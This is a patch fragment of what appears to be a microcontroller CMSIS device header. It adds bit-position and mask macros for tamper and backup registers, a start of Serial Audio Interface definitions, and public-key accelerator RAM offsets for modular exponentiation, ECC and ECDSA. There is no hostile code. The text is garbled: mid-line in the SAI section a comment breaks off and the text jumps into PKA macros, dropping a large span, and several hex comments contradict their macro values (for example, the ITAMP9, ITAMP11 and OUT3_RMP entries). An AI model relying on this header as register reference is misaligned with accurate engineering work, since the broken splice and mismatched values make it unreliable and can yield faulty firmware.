TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2U) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3U) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4U) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5U) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6U) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7U) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16U) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17U) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18U) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP4MF_Pos (19U) +#define TAMP_SMISR_ITAMP4MF_Msk (0x1UL << TAMP_SMISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_SMISR_ITAMP4MF TAMP_SMISR_ITAMP4MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20U) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21U) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22U) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23U) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24U) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26U) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27U) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28U) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk +#define TAMP_SMISR_ITAMP15MF_Pos (30U) +#define TAMP_SMISR_ITAMP15MF_Msk (0x1UL << TAMP_SMISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_SMISR_ITAMP15MF TAMP_SMISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0U) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1U) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2U) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3U) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4U) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5U) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6U) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7U) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16U) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17U) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18U) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP4F_Pos (19U) +#define TAMP_SCR_CITAMP4F_Msk (0x1UL << TAMP_SCR_CITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SCR_CITAMP4F TAMP_SCR_CITAMP4F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20U) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21U) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22U) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23U) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24U) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26U) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27U) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28U) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk +#define TAMP_SCR_CITAMP15F_Pos (30U) +#define TAMP_SCR_CITAMP15F_Msk (0x1UL << TAMP_SCR_CITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SCR_CITAMP15F TAMP_SCR_CITAMP15F_Msk +/******************** Bits definition for TAMP_COUNT1R register ***************/ +#define TAMP_COUNT1R_COUNT_Pos (0U) +#define TAMP_COUNT1R_COUNT_Msk (0xFFFFFFFFUL << TAMP_COUNT1R_COUNT_Pos)/*!< 0xFFFFFFFF */ +#define TAMP_COUNT1R_COUNT TAMP_COUNT1R_COUNT_Msk + +/******************** Bits definition for TAMP_OR register ***************/ +#define TAMP_OR_OUT3_RMP_Pos (1U) +#define TAMP_OR_OUT3_RMP_Msk (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00000006 */ +#define TAMP_OR_OUT3_RMP TAMP_OR_OUT3_RMP_Msk +#define TAMP_OR_OUT3_RMP_0 (0x1UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00100000 */ +#define TAMP_OR_OUT3_RMP_1 (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00200000 */ +#define TAMP_OR_OUT5_RMP_Pos (3U) +#define TAMP_OR_OUT5_RMP_Msk (0x1UL << TAMP_OR_OUT5_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_OUT5_RMP TAMP_OR_OUT5_RMP_Msk +#define TAMP_OR_IN2_RMP_Pos (8U) +#define TAMP_OR_IN2_RMP_Msk (0x1UL << TAMP_OR_IN2_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN2_RMP TAMP_OR_IN2_RMP_Msk +#define TAMP_OR_IN3_RMP_Pos (9U) +#define TAMP_OR_IN3_RMP_Msk (0x1UL << TAMP_OR_IN3_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN3_RMP TAMP_OR_IN3_RMP_Msk +#define TAMP_OR_IN4_RMP_Pos (10U) +#define TAMP_OR_IN4_RMP_Msk (0x1UL << TAMP_OR_IN4_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN4_RMP TAMP_OR_IN4_RMP_Msk + +/******************** Bits definition for TAMP_ERCFG register ***************/ +#define TAMP_ERCFGR_ERCFG0_Pos (0U) +#define TAMP_ERCFGR_ERCFG0_Msk (0x1UL << TAMP_ERCFGR_ERCFG0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR_ERCFG0 TAMP_ERCFGR_ERCFG0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0U) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0U) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0U) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0U) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0U) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0U) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0U) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0U) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0U) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0U) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0U) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0U) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0U) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0U) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0U) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0U) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0U) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0U) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0U) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0U) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0U) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0U) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0U) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0U) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0U) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0U) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0U) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0U) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0U) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0U) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0U) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0U) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Serial Audio Interface */ +/* */ +/******************************************************************************/ +/******************** Bit definition for SAI_GCR register *******************/ +#define SAI_GCR_SYNCIN_Pos (0U) +#define SAI_GCR_SYNCIN_Msk (0x3UL << SAI_GCR_SYNCIN_Pos) /*!< 0x00000003 */ +#define SAI_GCR_SYNCIN SAI_GCR_SYNCIN_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) 